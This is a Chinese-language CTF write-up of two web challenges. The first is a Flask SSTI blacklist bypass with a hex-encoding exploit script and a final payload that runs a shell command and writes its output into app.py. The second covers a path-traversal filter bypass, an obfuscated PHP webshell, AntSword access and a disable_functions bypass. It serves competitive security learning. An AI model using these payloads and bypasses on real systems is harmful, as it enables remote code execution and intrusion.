Safe_Proxy

题目源码

1
2
3
4
5
6
7
8
9
10
11
@app.route('/', methods=["POST"])
def template():
template_code = request.form.get("code")
# 安全过滤
blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']
for black in blacklist:
if black in template_code:
return "Forbidden content detected!"
result = render_template_string(template_code)
print(result)
return 'ok' if result is not None else 'error'

ssti,以post的方式提交code参数,没有回显

题目提示:用什么方式能看到输出呢?
image.png

​file​打开当前脚本文件本身,然后使用 f.read()​ 读取整个文件内容

猜测file为app.py,ssti盲打将flag写入到app.py文件中

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# payload1 = "{{url_for['__globals__']['__builtins__']['eval']('eval(bytes.fromhex("open('app.py','w').write(__import__('os').popen('cat /flag').read())")')}}"

payload2 = "['__globals__']['__builtins__']"
payload3 = "open('app.py','w').write(__import__('os').popen('cat /flag').read())"

payload2_hex = ""

for c in payload2:
if c == "_":
payload2_hex += "\\x5f"
else:
payload2_hex += c
# print(payload2_hex)
# print("\n")

payload3_hex = payload3.encode("utf-8").hex()
# print(payload3_hex)
# print("\n")

print("res:" + "{{url_for" + payload2_hex + "['eval']('eval(bytes.fromhex(\"" + payload3_hex + "\"))')}}")

# {{url_for['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['eval']('eval(bytes.fromhex("6f70656e28276170702e7079272c277727292e7772697465285f5f696d706f72745f5f28276f7327292e706f70656e2827636174202f666c616727292e72656164282929"))')}}

再bypass一下
image.png

刷新,得到app.py文件的内容为flag

image.png

hello_web

F12查看源代码发现../hackme.php和../tips.php,直接访问或者是打任意文件读取都失败了,存在waf。双写绕过

1
2
....//hackme.php
....//tips.php

tips的内容为phpinfo

hackme.php的内容为混淆后的一句话木马

在线解码网站:http://www.zhaoyuanma.com/phpjm.html

解得:
image.png

密码为cmd_66.99

antsword连接,失败。回显为返回数据为0

猜测是编码器出错,改为base64编码,失败。猜测是URL地址写错了,直接访问http://url/....//hackme.php,失败。猜测是编码设置出问题了,修改,失败。猜测是连接密码出问题了,反混淆解码出错?解码出来的密码为 cmd_66.99,最有可能出错的点在_.。爆破,将特殊字符全试一遍。最后得出密码为cmd[66.99

连接成功

image.png

找flag,flag不在根目录下。使用find命令查找flag,失败。输入任何命令,回显为:ret=127

image.png

bypass disable_functions姿势总结 - 先知社区

用antsword 插件绕过disable_functions来打,用PHP7_UserFilter这种方式

image.png

最后使用find命令找flag文件,找到/run/log/d8cebcd8d4c371fe76532494462aded0/flag目录,读取即可